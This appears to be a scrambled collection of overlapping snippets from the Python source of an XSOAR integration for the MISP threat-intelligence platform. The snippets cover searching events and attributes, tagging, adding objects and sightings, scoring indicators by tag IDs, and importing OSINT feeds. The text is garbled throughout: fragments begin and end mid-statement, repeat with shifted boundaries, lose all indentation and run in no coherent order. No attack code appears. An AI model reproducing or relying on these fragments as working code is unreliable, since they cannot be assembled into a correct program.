args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations')\",\n \"error: list of responses from error section Returns: List[Dict[str, any]]: filtered response \\\"\\\"\\\"\",\n \"type: ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an\",\n \"build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"])\",\n \"malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting all the attributes which match the required\",\n \"= demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] #\",\n \"feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \\\"\\\"\\\"Sending object to MISP and\",\n \"ids (each one is str), and verify all the tags are valid positive\",\n \"threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis =\",\n \"uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: response = PYMISP.untag(uuid, tag) if response\",\n \"event id and deletes it. \\\"\\\"\\\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if\",\n \"outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids\",\n \"which match the required indicator value, this function parses the response. This function\",\n \"4 = Unknown. note: - In case the same tag appears in both\",\n \"tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has\",\n \"'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url)\",\n \"event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies,\",\n \"into a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary describes\",\n \"Args: args: dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator\",\n \"removing those fields as they are shared by the events found_tag_id = event.pop('Tag_ID')\",\n \"(file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should be recognised\",\n \"for attribute in attributes] def pagination_args_validation(page, limit): if page and page < 0:\",\n \"formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\"\",\n \"an OSINT feed from url and publishing them to MISP urls with feeds\",\n \"level id. In such case, the score will be BAD if the threat\",\n \"if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\\\"Error:\",\n \"a positive integer, please change the given: '{tag}' id.\\\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid:\",\n \"'to_ids': argToBoolean(demisto_args.get('to_ids', True)), 'comment': demisto_args.get('comment'), 'value': demisto_args.get('value') } event_id = event_id if event_id\",\n \"\\\"\\\"\\\"given_object is attribute or event, depends on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag']\",\n \"uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent()\",\n \"list, str]) -> Union[dict, list, str]: \\\"\\\"\\\" Replacing keys from MISP's format to\",\n \"is not valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function\",\n \"outputs to context data (array of attributes). score: the indicator score found_tag: the\",\n \"and converts it to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else\",\n \"event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] =\",\n \"in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response)\",\n \"demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator\",\n \"= [ 'id', 'orgc_id', 'org_id', 'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp',\",\n \"the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True)\",\n \"or suspicious. If no tag was found, then the score is Unknown so\",\n \"0: raise DemistoException('Attribute limit has to be a positive number.') response = PYMISP._prepare_request('GET',\",\n \"misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\\\"ID\\\": event_id}) human_readable = f'Object has been added\",\n \"== 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\\\"Error: The given email address: {value}\",\n \"the arg 'compact' to True\\\"\\\"\\\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes =\",\n \"build_complex_query in pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and\",\n \"FileObject from CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable\",\n \"= demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except\",\n \"Please make sure the UUID and tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid,\",\n \"event.get(\\\"id\\\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if\",\n \"= PYMISP.search(eventid=event_id) human_readable = f\\\"## MISP create event\\\\nNew event with ID: {event_id} has\",\n \"remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not\",\n \"An event with the given id: {event_id} was not found in MISP. please\",\n \"else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR' event.date =\",\n \"{value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] #\",\n \") except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP\",\n \"attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'), 'Attribute\",\n \"type (file, url, domain, email or ip). malicious_tag_ids (set): Tag ids should be\",\n \"all the events that have the tag (i.e found_tag) which caused the indicator\",\n \"in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the required tag was failed.\",\n \"event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"\",\n \"attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen\",\n \"'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org',\",\n \"limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids\",\n \"urllib3 from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import\",\n \"add_domain_object(demisto_args: dict): \\\"\\\"\\\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text\",\n \"(DBotScoreReliability): integration reliability score. attributes_limit (int) : Limits the number of attributes that\",\n \"elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command ==\",\n \"page {page} out others that may exist\\\" else: pagination_message += f\\\"Showing page {page}\\\"\",\n \"a valid value for the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\",\",\n \"is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids,\",\n \"# misp event id 'type': demisto_args.get('type', 'other'), 'category': demisto_args.get('category', 'External analysis'), 'to_ids': argToBoolean(demisto_args.get('to_ids',\",\n \"id: {event_id} was not found in MISP. please check it once again\\\") new_event\",\n \"using the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\",\",\n \"ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp':\",\n \"None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args))\",\n \"demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\\\"'\\\", '\\\"') try: args = json.loads(attributes) if\",\n \"== 'IP': if not is_ip_valid(value): raise DemistoException(f\\\"Error: The given IP address: {value} is\",\n \"json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit):\",\n \"that includes the tag list. is_event_level (bool): Whether the attribute_dict was received from\",\n \"dict): event_highlights = [] for event in response: event_tags = event_to_human_readable_tag_list(event) event_galaxies =\",\n \"remove the \\\"Related Attribute\\\" list and limits the tags and galaxies lists. Eventually,\",\n \"it once again\\\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event)\",\n \"as malicious or suspicious. If no tag was found, then the score is\",\n \"def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key]\",\n \"in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations'\",\n \"demisto_args: dict = {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute to a given\",\n \"= [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id',\",\n \"integers.\\\"\\\"\\\" for tag in tag_ids: try: tag = int(tag) if tag <= 0:\",\n \"like to add it to tag_set_ids. In any other case, we won't add\",\n \"elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args,\",\n \"event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event\",\n \"events[i] = {key: events[i].get(key) for key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent']\",\n \"3, 'Unknown': 4 } MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment',\",\n \"= [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None\",\n \"the threat level is 4 = Unknown. note: - In case the same\",\n \"= urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path':\",\n \"and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit)\",\n \"When it is set to 1 it says that it is an event's\",\n \"else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise\",\n \"to add to MISP event_id: ID of event \\\"\\\"\\\" response = PYMISP.add_object(event_id, misp_object=obj)\",\n \"human_readable = f'Object has been added to MISP event ID {event_id}' return CommandResults(\",\n \"'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif\",\n \"# Filter object from keys in event_args events[i] = {key: events[i].get(key) for key\",\n \"Otherwise, the threat level is 4 = Unknown. note: - In case the\",\n \"malicious and suspicious) are stronger than events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious\",\n \"is an attribute's tag. If the data is event's (is_event_level = true) we\",\n \"re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters')\",\n \"for k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) -> GenericObjectGenerator: \\\"\\\"\\\"\",\n \"need in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i])\",\n \"= attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field\",\n \"MISP add attribute\\\\nNew attribute: {value} was added to event id {new_event.id}.\\\\n\\\" return CommandResults(\",\n \"in tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f\\\"Tag id\",\n \"attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event', {})\",\n \"'Distribution', 'type': 'Type', 'id': 'ID', 'date': 'CreationDate', 'info': 'Info', 'published': 'Published', 'attribute_count': 'AttributeCount',\",\n \"for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist when\",\n \"if hash_type == 'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score,\",\n \"attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'):\",\n \"match the search query when user set the arg 'compact' to True\\\"\\\"\\\" if\",\n \"is_attribute=False): \\\"\\\"\\\" Function will remove tag to given UUID of event or attribute.\",\n \"positive number\\\") if limit and limit < 0: raise DemistoException(\\\"limit should be zero\",\n \"response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event\",\n \"again\\\") new_event = response[0] # response[0] is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal:\",\n \"test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module. \\\"\\\"\\\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0:\",\n \"Demisto args new_event (MISPEvent): When this function was called from create event command,\",\n \"event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp']\",\n \"is too big. User can use the command search-attributes in order to get\",\n \"attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\\\"1\\\", \\\"2\\\", \\\"3\\\"] for event\",\n \"= f'Tag {tag} has been successfully removed from the attribute {uuid}' return CommandResults(\",\n \"uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from\",\n \"{page}\\\" md = tableToMarkdown( f\\\"MISP search-events returned {len(response_for_context)} events.\\\\n {pagination_message}\\\", event_outputs_to_human_readable, removeNull=True) return\",\n \"} event_id = event_id if event_id else arg_to_number(demisto_args.get('event_id'), \\\"event_id\\\") attributes_args.update({'id': event_id}) if event_id\",\n \"for the Source Reliability parameter\\\") attributes_limit = arg_to_number(params.get('attributes_limit', 20), \\\"attributes_limit\\\", required=True) command =\",\n \"Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org\",\n \"is_complex_search: return PYMISP.build_complex_query(**misp_query_params) return demisto_query def is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if\",\n \"elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command ==\",\n \"attribute.get( 'Tag') else None attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting')\",\n \"return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i]\",\n \"raise DemistoException( f\\\"Error: An event with the given id: {event_id} was not found\",\n \"CommonServerPython import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to connect\",\n \"'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args =\",\n \"= { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3, 'Inherit_event': 5 }\",\n \"ids lists the indicator will be scored as malicious. - Attributes tags (both\",\n \"'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format':\",\n \"return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the\",\n \"related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in related_events[i +\",\n \"is MISP event new_event.add_attribute(**attributes_args) PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event =\",\n \"args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in args_to_misp_format:\",\n \"CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\" args = prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact',\",\n \"OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data',\",\n \"url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url')\",\n \"to an attribute (True) or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag =\",\n \"return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict):\",\n \"return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \\\"\\\"\\\"Execute a MISP search over 'attributes'\\\"\\\"\\\"\",\n \"arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from\",\n \"if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object\",\n \"{'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in given_object.get('Tag') ] def build_sighting_output_from_attribute_search_response(attribute): if\",\n \"as e: raise DemistoException( f'`attribute` parameter could not be decoded, may not a\",\n \"DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def\",\n \"= any((found_tag := tag) in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return\",\n \"args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module':\",\n \"described in https://github.com/MISP/misp-objects args: arguments to create the generic object Returns: GenericObjectGenerator: object\",\n \"{page}\\\" md = tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return\",\n \"human_readable = f'Tag {tag} has been successfully added to attribute {uuid}' return CommandResults(\",\n \"response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command:\",\n \"'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id':\",\n \"connect to MISP, ' 'Please make sure the API key is correct.') return_error(error)\",\n \"'sha1': return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type\",\n \"(i.e malicious). * have tags which configured as suspicious will be scored 2\",\n \"attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) events =\",\n \"response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing\",\n \"limit and limit < 0: raise DemistoException(\\\"limit should be zero or a positive\",\n \"\\\"\\\"\\\" related_events = [] object_tags_list = object_data_dict.get('Tag', []) for tag in object_tags_list: if\",\n \"score=score, reliability=reliability, malicious_description=\\\"Match found in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes =\",\n \"not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids,\",\n \"= handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command ==\",\n \"key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return\",\n \"to get the information about the attributes. \\\"\\\"\\\" response_object = copy.deepcopy(response) if isinstance(response_object,\",\n \"timestamp from MISP response (1546713469) and converts it to human readable format \\\"\\\"\\\"\",\n \"= limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute,\",\n \"[] tag_set_ids = set() tags_list = attribute_dict.get('Tag', []) for tag in tags_list: is_event_tag\",\n \"argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score']\",\n \"in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name)) scored_events.extend(search_events_with_scored_tag(attribute,\",\n \"'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command\",\n \"in the malicious one (as a tag that was configured to be malicious\",\n \"pythonify=True) if not response: raise DemistoException( f\\\"Error: An event with the given id:\",\n \"index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event =\",\n \"text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \\\"\\\"\\\"Building url object in\",\n \"return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \\\"\\\"\\\"Gets an OSINT feed\",\n \"1), \\\"page\\\", required=True) limit = arg_to_number(demisto_args.get('limit', 50), \\\"limit\\\", required=True) pagination_args_validation(page, limit) response =\",\n \"re.MULTILINE) match_or = re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator =\",\n \"successfully added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\")\",\n \"if args.get('info') else 'Event from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False'))\",\n \"in MISP with the given attribute args\\\"\\\"\\\" new_event = get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event,\",\n \"the given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has to be a\",\n \"This function searches for the given attribute value in MISP and then calculates\",\n \"url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), \\\"limit\\\", required=True) try:\",\n \"threat level id) about all the events that include the indicator Please see\",\n \"successfully added to event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response )\",\n \"DemistoException(f'Event ID: {event_id} has not found in MISP: \\\\nError message: {response}') else: human_readable\",\n \"return [galaxy.get('Name') for galaxy in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if\",\n \"'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" After getting\",\n \"score is calculated by the tags ids (attribute tags and event tags). Args:\",\n \"attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag, event_name))\",\n \"# Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn = warn '''\",\n \"delimiter for parameters and ';' as delimiter for operators. using the operators is\",\n \"removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\\\"MISP.Event\\\", outputs_key_field=\\\"ID\\\" ) else: return CommandResults(readable_output=f\\\"No events\",\n \"'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object': 'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation',\",\n \"the required indicator value, this function parses the response. This function goes over\",\n \"'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id':\",\n \"replace_keys_from_misp_to_context_data(events) # type: ignore return formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags =\",\n \"related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name):\",\n \"not in args_to_misp_format: args_to_misp_format['limit'] = '50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags'])\",\n \"with ID: {event_id} has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event),\",\n \"DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP V3 error: Please provide a valid value\",\n \"human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults(\",\n \"case, we won't add the tag. Args: attribute_dict (dict): The dictionary that includes\",\n \"been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add\",\n \"tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output) else: dbot =\",\n \"nothing with warnings \\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python\",\n \"get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by following logic.\",\n \"comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance\",\n \"along with their events objects. Note: When limits the attributes amount, we sort\",\n \"= re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params,\",\n \"reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def reputation_value_validation(value, dbot_type):\",\n \"be scored as malicious or suspicious. Args: all_attributes (dict): The parsed response from\",\n \"outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will remove\",\n \"import * logging.getLogger(\\\"pymisp\\\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \\\"SSLError\\\" in error: return_error('Unable to connect to\",\n \"[{ 'code': err[0], 'message': err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def\",\n \"'1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN':\",\n \"response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = 